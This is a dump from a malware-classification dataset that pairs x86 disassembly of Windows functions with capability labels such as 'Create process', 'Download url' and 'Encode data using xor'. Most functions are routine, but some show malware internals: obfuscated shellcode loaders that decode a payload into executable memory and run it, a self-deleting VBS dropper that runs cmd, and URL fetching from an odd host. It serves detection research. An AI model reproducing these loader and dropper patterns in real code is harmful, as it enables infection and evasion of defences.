joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f260
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b31d
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x46500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x467f48], 0x20
jl 0x41f2bb
push 0x467f4c
call fcn.00423ab0
mov ecx, dword [0x467f44]
add esp, 4
test ecx, ecx
je 0x41f2ad
mov eax, dword [ecx]
mov dword [0x467f44], eax
mov dword [0x467f4c], 1
test ecx, ecx
jne 0x41f2d2
push 0x20
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
je 0x41f2f9
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
push esi
call fcn.0041f140
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call fcn.0043a4b9
int3

Function at 0x421e00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449aad
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
mov eax, dword [0x46500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
test edx, edx
je 0x421ed1
cmp word [edx], 0
je 0x421ed1
lea ecx, [ebp - 0x38]
call fcn.004024c0
mov dword [ebp - 4], 0
cmp word [edx], 0
je 0x421ea0
cmp word [edx + 2], 0
je 0x421ea0
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x421e60
sub ecx, esi
sar ecx, 1
cmp word [edx + ecx*2 - 2], 0x5c
jne 0x421ea0
cmp word [edx + ecx*2 - 4], 0x3a
je 0x421ea0
lea eax, [ecx - 1]
push eax
push edx
lea ecx, [ebp - 0x38]
call fcn.00426b70
mov edx, dword [ebp - 0x2c]
test edx, edx
jne 0x421ea0
cmp dword [ebp - 0x14], 0
mov edx, 0x456184
cmovne edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.004019f0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421f00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e75d
mov eax, dword fs:[0]
push eax
sub esp, 0x70
push esi
mov eax, dword [0x46500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
test esi, esi
je 0x422073
cmp word [esi], 0
je 0x422073
push 0x44
lea eax, [ebp - 0x7c]
push 0
push eax
call fcn.00433d60
or dword [ebp - 0x50], 1
mov eax, 1
mov dword [ebp - 0x38], 0x457740
add esp, 0xc
mov dword [ebp - 0x7c], 0x44
mov word [ebp - 0x4c], ax
mov dword [ebp - 0x38], vtable.CVolObject.0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], vtable.CVolMem.0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x38]
push esi
call fcn.004233c0
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp dword [ebp - 0x24], ecx
cmove eax, ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x421fe0
xor esi, esi
jmp 0x422003
push 0x1f4
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
mov esi, 1
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], vtable.CVolMem.0
mov dword [ebp - 4], 3
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x42203e
mov eax, dword [ebp - 0x38]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x422039
mov ecx, 0x467f38
call fcn.00423c80
jmp 0x42203e
lea ecx, [ebp - 0x38]
call eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov dword [ebp - 0x38], vtable.CVolObject.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x428560
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44f070
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x46500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x224]
mov edi, dword [eax + 4]
push edx
or edi, 0x2001f
mov dword [ebp - 0x224], 0
push edi
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
test esi, esi
jne 0x4286eb
mov eax, dword [ebp - 0x21c]
xor esi, esi
test eax, eax
je 0x428615
push eax
call ebx
mov esi, eax
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x224]
and edi, 0x300
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], edi
test esi, esi
jne 0x4286eb
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x234]
push ecx
push esi
push esi
push esi
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x220], 0x100
push ecx
lea ecx, [ebp - 0x210]
push ecx
push esi
push eax
call edi
test eax, eax
jne 0x4286b7
nop
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00428560
mov esi, eax
test esi, esi
jne 0x4286eb
lea eax, [ebp - 0x234]
mov dword [ebp - 0x220], 0x100
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x210]
push eax
push esi
push dword [ebp - 0x21c]
call edi
test eax, eax
je 0x428670
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x4286ce
push eax
call ebx
mov dword [ebp - 0x21c], 0
push dword [ebp - 0x228]
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x218], 0
call fcn.00428480
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x428709
push eax
call ebx
mov dword [ebp - 0x21c], 0
mov eax, esi
mov dword [ebp - 0x218], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00431cd0
mov esp, ebp
pop ebp
ret 4
Function at 0x428d60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44f1db
mov eax, dword fs:[0]
push eax
sub esp, 0x42c
mov eax, dword [0x46500c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov byte [ebp - 4], 1
push 0x60
push 0
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call ebx
mov esi, eax
mov dword [ebp - 0x424], esi
test esi, esi
jne 0x428e0c
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x424], eax
test esi, esi
jne 0x428e0c
call fcn.00428200
mov edi, eax
jmp 0x428f41
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x428e2f
call fcn.00428200
jmp 0x428f34
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x428e4d
call fcn.00428200
jmp 0x428f34
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x41c], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x428e6e
mov edi, 0x8007000e
jmp 0x428f36
mov byte [ebp - 4], 2
mov ecx, 2
mul ecx
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], edx
test edx, edx
ja 0x428f85
jb 0x428e98
cmp eax, 0xffffffff
ja 0x428f85
cmp eax, 0x400
jbe 0x428eb4
push eax
lea ecx, [ebp - 0x418]
call fcn.0042b400
mov dword [ebp - 4], 1
jmp 0x428ee8
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x428ee8
mov eax, dword [ebp - 0x418]
test eax, eax
jne 0x428ef9
mov edi, 0x8007000e
jmp 0x428f36
push edi
push eax
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x428f14
call fcn.00428200
jmp 0x428f34
xor edx, edx
mov eax, dword [ebp - 0x418]
mov word [eax + ecx*2], dx
push dword [ebp + 0x14]
push dword [ebp - 0x418]
lea ecx, [ebp - 0x42c]
call fcn.00429b90
mov edi, eax
test esi, esi
je 0x428f41
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [ebp - 4], 0
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x428f5e
lea ecx, [ebp - 0x418]
call fcn.0042b3f0
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00431cd0
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.004191c0
int3
Function at 0x42c0c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44f769
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x46500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
lea eax, [esi + 8]
mov dword [esi + 4], 0
mov dword [ebp - 0x14], eax
mov dword [eax + 0xc], 0
mov dword [ebp - 4], 1
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [ebp - 4], 2
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [esi + 0x20], eax
mov dword [ebp - 4], 4
mov dword [esi], vtable.CVWnd_Button.0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0xffffffff
mov dword [esi + 0x2c], vtable.CVolWindowProcFilters.0
mov dword [esi + 0x30], 0
mov byte [ebp - 4], 5
mov dword [esi + 0x40], 0
mov byte [ebp - 4], 6
push 0xf
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0xff000000
call dword [sym.imp.USER32.dll_GetSysColor]
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [esi + 0x40], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x42d350
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44fa59
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x46500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 8]
mov dword [ecx + 4], 0
mov dword [ebp - 0x14], eax
mov dword [eax + 0xc], 0
mov dword [ebp - 4], 1
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ebp - 4], 2
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [ecx + 0x20], eax
mov dword [ebp - 4], 4
mov dword [ecx], vtable.CVWnd_Container.0
mov dword [ecx + 0x24], 0
mov dword [ecx + 0x28], 0xffffffff
mov dword [ecx + 0x2c], vtable.CVolWindowProcFilters.0
mov dword [ecx + 0x30], 0
mov byte [ebp - 4], 5
mov dword [ecx + 0x48], 0
mov byte [ebp - 4], 6
mov dword [ecx + 0x38], 0xff000000
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x40], 1
mov dword [ecx + 0x4c], 0
mov dword [ecx + 0x44], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x405e0b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x405e1a
pop dword [ebp - 0x44]
mov eax, 0x405e1a
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x6e781d79
sub dword [ebp - 0x54], 0x2025d82e
mov dword [ebp - 0x50], 0x8779e0f8
sub dword [ebp - 0x50], 0x554694b3
mov dword [ebp - 0x4c], 0x9dee36a
add dword [ebp - 0x4c], 0x426d60c4
mov dword [ebp - 0x48], 0x1a29c600
add dword [ebp - 0x48], 0xe5d63a00
lea eax, [ebp - 0x54]
push eax
mov eax, 0x77f2371
sub eax, 0x73eb355
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x342ef143
add dword [ebp - 0x54], 0x40437813
mov dword [ebp - 0x50], 0xf65c5e11
add dword [ebp - 0x50], 0x4b100364
mov dword [ebp - 0x4c], 0x39c04f97
add dword [ebp - 0x4c], 0x29af1cd5
mov dword [ebp - 0x48], 0xc6012608
add dword [ebp - 0x48], 0x39fed9f8
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x345e8
push 0
call eax
mov ecx, 0x47128181
sub ecx, 0x471246fd
mov edi, eax
mov ebx, 0x40c800
add ebx, dword [ebp - 0x44]
mov edx, 0x39e2907b
add edx, 0x26c7ccc8
xor dword [ebp - 0x1c], 0xeddc1991
mov esi, dword [ebx]
mov dword [ebp - 0x1c], 0xdfc29e4a
add esi, edx
sub dword [ebp - 0x18], 0xbae9f14b
mov dword [edi], esi
sub dword [ebp - 0x14], 0xff900909
add edi, 0xddeb18bc
sub edi, 0xddeb18b8
add ebx, 0xb27c9c8
sub ebx, 0xb27c9c4
loop 0x405f2c
add eax, 0xa80674a1
add eax, 0x57fa6842
mov ebx, eax
add eax, 0x4326d1e2
sub eax, 0x4326d1dd
mov ecx, 0x31185e18
add ecx, 0xcf27a1e8
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40633c
pop dword [ebp - 0x40]
mov eax, 0x884ee186
add eax, 0x77f181b6
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x8ebc5efd
add dword [ebp - 0x50], 0xbf95e64e
mov dword [ebp - 0x4c], 0x4fd6352b
add dword [ebp - 0x4c], 0xe25d171a
mov dword [ebp - 0x48], 0x6aaf7422
add dword [ebp - 0x48], 0xe19cd00c
mov dword [ebp - 0x44], 0xa0d31d9b
add dword [ebp - 0x44], 0x5f2ce265
lea eax, [ebp - 0x50]
push eax
mov eax, 0x44dda8f5
sub eax, 0x449d3895
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x2ff2b06b
add dword [ebp - 0x50], 0x447fb8eb
mov dword [ebp - 0x4c], 0xe16fbbfd
add dword [ebp - 0x4c], 0x5ffca578
mov dword [ebp - 0x48], 0x3cf89b24
sub dword [ebp - 0x48], 0xd9892eb8
mov dword [ebp - 0x44], 0x94689eef
add dword [ebp - 0x44], 0x6b976111
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x487f9605
add eax, 0xb7c0dafb
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x35665
push 0
call eax
mov ecx, 0x84672842
sub ecx, 0x8466e522
mov edi, eax
mov edx, 0x445efd24
add edx, 0xbbe202dc
add edx, dword [ebp - 0x40]
mov esi, 0x38e61c06
add esi, 0x919ab6f4
mov dword [ebp - 0x2c], 0xb638c2f3
mov ebx, dword [edx]
xor dword [ebp - 0x2c], 0xfcfde02c
sub ebx, esi
add dword [ebp - 0x2c], ecx
mov dword [edi], ebx
xor dword [ebp - 0x34], ebx
add edi, 0x6a2e72dc
add edi, 0x95d18d28
add edx, 0x7ca25b09
add edx, 0x835da4fb
loop 0x40645e
add eax, 0x9b06beec
sub eax, 0x9b05bf99
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x950cf037
add ecx, 0x6b330fc9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.eypymqo
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bd51
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.hhqqunxfikluvtweonet_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b40c
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b415
test ecx, ecx
jne 0x41b3c5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd4c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b9f6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ba8d
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ba8d
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ba84
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bd51
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ba84
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436e90
push esi
push edi
push dword [ebx]
call fcn.00436e90
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba96
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x425634]
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
mov dword [0x425638], eax
call fcn.00408d46
xor ebx, ebx
pop ecx
test eax, eax
je 0x401053
push str.Windows_original_main_args:_n
call fcn.00408c02
xor esi, esi
pop ecx
cmp dword [0x425628], ebx
jle 0x401053
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408c02
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401034
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.00415b45
call fcn.00403941
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039c3
pop ecx
pop ecx
mov esi, eax
call fcn.00403947
xor ecx, ecx
cmp edi, ebx
jle 0x40108d
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401082
mov eax, dword [str.java]
mov dword [esi + ecx*4], ebx
mov edx, eax
cmp eax, ebx
jne 0x40109d
mov edx, dword [esi]
mov ebp, dword [0x42400c]
cmp ebp, ebx
jne 0x4010a9
mov ebp, dword [esi]
mov eax, dword [0x425420]
push ebx
xor ecx, ecx
inc ecx
push ecx
push ecx
cmp eax, ebx
setne bl
movzx ebx, bl
push ebx
push edx
push ebp
push 0x41c254
push 0x41c244
push dword [0x425424]
push ecx
push eax
push ecx
push esi
push edi
call fcn.00403485
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x403e42
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ee5
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.00415b45
pop ecx
pop ecx
test eax, eax
je 0x403ece
test ebx, ebx
je 0x403ec2
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00415b45
pop ecx
pop ecx
test eax, eax
jle 0x403ece
push ebx
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e8f
xor edi, edi
cmp ebx, edi
jne 0x403ee9
xor eax, eax
jmp 0x403f55
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f18
call fcn.00403a2b
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ee5
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ee5
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403f08
cmp dword [ebp - 0x70], edi
je 0x403f4b
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409908
add ebp, 0x9c
leave
ret